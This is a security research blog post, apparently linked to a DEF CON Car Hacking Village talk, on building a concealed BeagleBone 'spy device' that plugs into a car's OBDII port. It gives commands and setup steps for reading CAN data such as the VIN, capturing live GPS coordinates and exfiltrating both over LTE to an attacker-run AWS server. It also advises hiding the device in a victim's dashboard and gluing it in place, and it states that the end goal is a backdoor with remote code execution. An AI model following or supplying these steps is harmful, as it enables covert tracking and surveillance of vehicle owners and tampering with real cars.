Car Hacking with Python — Part 1 Data Exfiltration: GPS and OBDII/CAN Bus

Marcelo Sacchetin
Spark 1 Cybersecurity
11 min readMay 18, 2020

This article is the base for my presentation at DEF CON 28 Car Hacking Village. I introduce a Python based device for sending and receiving CAN messages from the OBDII port; and also getting live GPS coordinates from a moving vehicle. All the CAN and GPS data is exfiltrated to the cloud so the car can be monitored remotely via a web browser. This write-up summarizes a research about car hacking using open source software and hardware developed at Spark 1 Cybersecurity Solutions.

ChupaCarBrah spy device

I created a separate step-by-step tutorial on how to build the spy device, a.k.a. ChupaCarBrah that I will be using for this article. I also share all the code for the python-can client that runs on the device; and the server side Flask application that runs on AWS. This first version of the spy device is capable of tracking vehicle location and monitoring CAN data (e.g. engine RPM, air temperature, VIN, etc). All data is exfiltrated via a cellular LTE modem added to the Beaglebone. JSON format is used to send the data to the Flask application on AWS. As the vehicle moves, the JSON data on the cloud gets updated live, allowing you to monitor your vehicle completely remote. That is car hacking from the comfort of your home.

ChupaCarBrah hitting the road

As a follow-up to this write-up, I plan to publish two more articles to extend the current ChupaCarBrah capability:

Part 2 — ECU CAN messages: Will show how to tamper CAN buses that connect directly to an ECU (since the OBDII usually provides only diagnosis data). I will focus on reverse engineering the CAN messages to send crafted commands to the ECU. For safety reasons I plan to cover only harmless commands, such as unlock doors, open power windows, etc;

Part 3 — Vehicle RCE: I plan to extend the ChupaCarBrah application to display all data being exfiltrated on the fly in a more user friendly format such as GPS data plotted on a map. The GUI with live data will also display current vehicle information (speed, RPM, etc) from the decoded CAN messages. I plan to also extend the AWS service with POST endpoints which will allow CAN commands to be submitted to the vehicle by creating a reverse HTTP session via cellular network.

Threat Modeling

In general, car manufacturers adopt a threat model based on reducing the attack surface on the vehicle by creating a separation between the CAN bus and external networks. The separation can be physical (air gaps) or logical (CAN gateways/firewalls). Gateways are common when CAN and external networks do need to be connected (e.g. V2V or IVI). The gateways provide logical separation by forwarding CAN messages in one way direction only.

Bridging the air gap with ChupaCarBrah

The security level for adopting that threat model will be directly proportional on how hard it is to get physical access to the CAN bus, and/or how difficult it is to exploit vulnerabilities on external connections to pivot into the CAN bus. The goal of this article is to challenge it and show in practical terms what could be done if an attacker gets physical access to a vehicle and installs the ChupaCarbrah. The spy device creates a bridge between the isolated CAN buses and the internet, breaking the manufacturer’s threat model.

However, for a complete pen-testing engagement using ChupaCarBrah, you would still need to combine what I show here with other attack techniques such as key spoofing to get access to the interior of the vehicle. Because of that, I consider the security risk exposed by this article as low. But I still want to bring awareness for the importance of considering encryption solutions for CAN messages by manufacturers; and awareness for car owners on situations where they do not have complete control over the physical access to the vehicle (e.g. valet parking, car wash, forgetting doors unlocked, etc).

ChupaCarBrah installation: gone under 60 seconds

Once inside the vehicle, an attacker can quickly connect the ChupaCarBrah to the OBDII port. The device is small enough allowing it to be hidden inside the dashboard. The OBDII splitter cable used will provide an extra female OBDII connector in front of the vehicle original one. If the attacker is nasty enough, he/she may use glue to permanently fix the splitter to the OBDII port. It would allow the victim to eventually connect other OBDII devices to the vehicle without, hopefully, noticing the rouge ChupaCarBrah device.

Car Hacking Overview

Car hacking with CAN (Controller Area Network) has been already very well covered by several authors. If you want to understand better how CAN bus is used by the automotive vendors to control the engine and other components of your vehicle, I recommend taking a look at the THE CAR HACKER’S HANDBOOK by Craig Smith.

I also recommend this very good article: How to Hack and Upgrade Your Car, Using CAN Bus by Jared Reabow. It focus specifically on CAN and it provides very useful hints such as how to guess the baud rate and how to find and tap into the CAN bus wires in your vehicle.

This write-up combines the hacking techniques presented by those two authors. Then, I go one extra step by building a simple BeagleBone spy device to interact with moving car remotely via cellular network at the same time it tracks the vehicle location via GPS.

Why BeagleBone Blue?

Long story short: the BeagleBone Blue already supports CAN, including a CAN transceiver.

BeagleBone Blue embedded CAN transceiver

It means, that you don’t need extra capes or hats for your board. You can basically use two hook-up wires and connect the CAN Hi and CAN Lo pins of your BeagleBone, directly to the Pins 6 and 14 respectively on the OBDII connector on your car. Not only that, BeagleBone is a complete single board computer, with the latest image already including SocketCan preinstalled.

It also has an embedded WiFi network card, which allows you to work with the CAN tools without having your computer physically connected to your car. It will allow you to “embed” the device to the car and leave it running completely detached from your computer.

For long distance connection, you can use an USB LTE modem (which will be covered on the next sections).

So, the BeagleBone Blue board is a very good option for car hacking, specially when other popular tools such as CANtact are sold out on almost all US distributors. If do not want to use open source, you can try commercial products such as Macchina.cc (I haven’t tried it myself, but since it is also based on the BeagleBoard, I believe most of what I cover here will still apply).

Building the ChupaCarBrah

The minimum parts you are going to need is a BeagleBone Blue, a JST/SH connector, and hook-up wires. They should be connected as shown bellow:

BeagleBone Blue JST/SH connector with hook-up wires connected to CAN slot

Make sure your hook-up wires are long enough so you can properly connect them to your car’s OBDII connector. Keep in mind that if you make your wires too long, you may need to twist the yellow and green (CAN Hi and Lo) to get closer to the properties of a standard CAN cable. Or of course, you can always use a real CAN cable instead of hook-up wires.

BeagleBone Blue connected to OBDII

This will allow you to boot your BeagleBone, start a socket CAN interface to send and receive CAN messages. That’s all you need to start hacking CAN, however, with a few more extras parts, you can significantly increase the capability of your BeagleBone to create a full ChupaCarBrah spy device. I have put all the step-by-step instructions to build your ChupaCarbrah in a separate article so I could keep this write-up concise and focus on the hacking with Python.

Please, refer to ChupaCarBrah — Car Hacking with BeagleBone and Python on Hackster.io for full details on how to create your full blown spy device with support to GPS and cellular network.

Sending and receiving CAN message

After connecting your BeagleBone to the OBDII, press the power button to boot it, and then connect to it via SSH. I recommend using WiFi whenever is possible. It is faster, and you will save some money on your cellular data plan. You will need to turn the ignition on so your car’s CAN devices also “boot”. You may want to start the engine to prevent killing your car’s battery.

Before using the Python code, try to manually send and receive some messages using socketCAN. First, set the baud rate for your can0 (can zero) interface and enabled it.

sudo ip link set can0 up type can bitrate 500000
sudo ifconfig can0 up

Most cars use 500kpbs on the OBDII bus. Use candump to listen to messages on the can0 interface

sudo candump can0

Depending on your vehicle, you may already see CAN messages on the bus. If your bus is quiet, open a new terminal and use cansend to send some messages:

sudo cansend can0 7DF#0209020000000000

You should see the message and the response for it on the terminal running candump. If not, you may need to check your wiring and/or the baud rate used by your vehicle. The CAN message you just sent will request the vehicle VIN number, and the response should be something similar to the following screenshot.

CAN messages for retrieving the vehicle VIN

The VIN number data is shown in the last 3 digits “32 43 34” which can be decoded from hex to ASCII as “2C4”:

echo “32 43 34” | xxd -r -p

The VIN data format is as follows:

VIN data format

If you provide your ASCII VIN to this online NHTSA tool, you can parse your vehicle WMI (World Manufacturer Identifier) and check its accuracy. In my case, “2C4” tells my car is a Dodge passenger vehicle built in Canada.

Now that you confirmed you can send and receive CAN messages to and from the car using socketCAN, you can use Python to do it programmatically:

Python code to send and receive CAN messages

If you want to try different commands, refer to this table with a list of available OBDII PIDs you can use. Make sure to assign the integer value of the “Mode (hex)” to variable “service_int” and the integer value of “PID (hex)” variable “pid_int” on the Python script.

For instance, if you want to read the engine RPM, change lines 5 and 6 of the script with the following:

service_int = int(“1”, 16)

pid_int = int(“0C”, 16)

You can find more documentation about the OBDII PIDs here.

GPS Coordinates

To get the GPS data, simply run “tio” command from your ChupaCarBrah device.

tio /dev/ttyO2 -b 4800

It will display a lot of GPS NMEA sentences, but for the geolocation purposes you will be interested in the GPRMC sentences only.

GPS data from ChupaCarBrah

You can decode the geolocation sentences by copying a GPRMC sentence (e.g. $GPRMC,170454.000,A,3500.87097,N,10641.14163,W,0.00,171.40,100520,,,A*79) to this online GPRMC tool and it will plot your exact location on a map.

GPS GPRMC geolocation plotted on map. Chicken lunch with Heisenberg

You can retrieve GPS geolocation GPRMC data programmatically by using the following Python script:

Python code to retrieve GPS geolocation coordinates

Connecting to Cellular Network

I used Hologram data plan with the Nova HOL-NOVA-R410 cellular modem, but any other carrier or cellular modem compatible with BeagleBone would work fine. As long as you are able to connect to the internet using cellular data, everything should be good.

One nice thing about the Hologram is that they provide a Python SDK. After activating the SIM card with a data plan, and installing the SDK, you can use this Python script. It allows you to programmatically connect to the internet via cellular and ping Google to check the connectivity.

Python code to connect Hologram cellular mode to the Internet

Please, refer to the ChupaCarBrah tutorial on Hackster.io for full details on how to install your Hologram modem and its SDK.

Exfiltrating the Data

First you will need a server to send the data to. Use the Python chupacarbrah_server.py code available on Github and deploy it as a service on AWS.

Here is the TL;DR commands to do it:

~$ git clone https://github.com/blupants/chupacarbrah_server.git
~$ cd chupacarbrah_server
~$ cp chupacarbrah_server.py application.py
~$ source virt/bin/activate
(virt) ~$ pip install flask==1.0.2
(virt) ~$ pip freeze > requirements.txt
(virt) ~$ deactivate
~$ python3 -m pip install awscli
~$ python3 -m pip install awsebcli
~$ eb init -p python-3.6 flask-chupacarbrah — region us-east-2
~$ $ eb init

Do you want to set up SSH for your instances? (y/n): ySelect a keypair. 1) my-keypair 2) [ Create new KeyPair ]

~$ eb create chupacarbrah-env
~$ eb open

If you need further detailed instructions, again, please refer to the ChupaCarBrah tutorial on Hackster.io.

Once the service is running, take notes of the URL so you can point your script on the BeagleBone to send the data there. You can confirm your service is up and running by posting some dummy data with curl:

SERVER_URL=<PUT_YOUR_AWS_SERVICE_URL_HERE>

curl — header “Content-Type: application/json” \
— request POST \
— data ‘{“car_uuid”:”51f317ec266e4adb956212201f87ba52", “VIN”: “2C4”, “maker”: “Generic”, “log”:{“timestamp”:”20200501120000",”GPS”:”00"}}’ \
“$SERVER_URL/api/v1/cars”

curl “$SERVER_URL/api/v1/status”

Posting and getting dummy data from ChupaCarBrah service on AWS

Once you confirm the AWS service is working, ssh to the BeagleBone and clone the chupacarbrah client repo from Github. Make sure to edit the chupacarbrah.py script and set the server_url variable with your AWS service URL from the previous step.

git clone https://github.com/blupants/chupacarbrah.git
cd chupacarbrah
sudo python3 chupacarbrah.py

Once running, ChupaCarBrah client will consume all CAN commands enabled on the simple.csv and send them to the CAN bus. The responses will be displayed on stdout and sent to /tmp/chupacarbrah/log file. Every 1 minute, it is also sent to the AWS service as JSON.

To stop it, open a new terminal (ssh session) and run:

sudo touch /tmp/stop

In order to enable/disable more OBDII PID commands, you may edit file obd2_std_PIDs_enabled.csv by setting 1 on the “Enable” column to all commands you want to enable, and zero for those you want to disable. Please make sure you understand what the commands do, and know what you are doing before enabling extra commands. Both simple.csv and obd2_std_PIDs_enabled.csv files are available on the chupacarbrah github repo you have just cloned to your BeagleBone.

Open a web browser and monitor the JSON data being updated every minute with all the exfiltrate information from the vehicle.

Sample JSON dummy data from ChupaCarBrah service on AWS

You may need to refresh the page on your browser to get the displayed data updated. Since it uses JSON format, it makes very convenient for creating a frontend to consume it and/or integrate it with other applications.

What is next?

This concludes the first part of of this series with 3 articles. Stay tuned for the next part where I cover getting into ECU CAN messages and add more features to the ChupaCarBrah. The ultimate goal is to create a complete backdoor in the vehicle with support to remote code execution.

--

--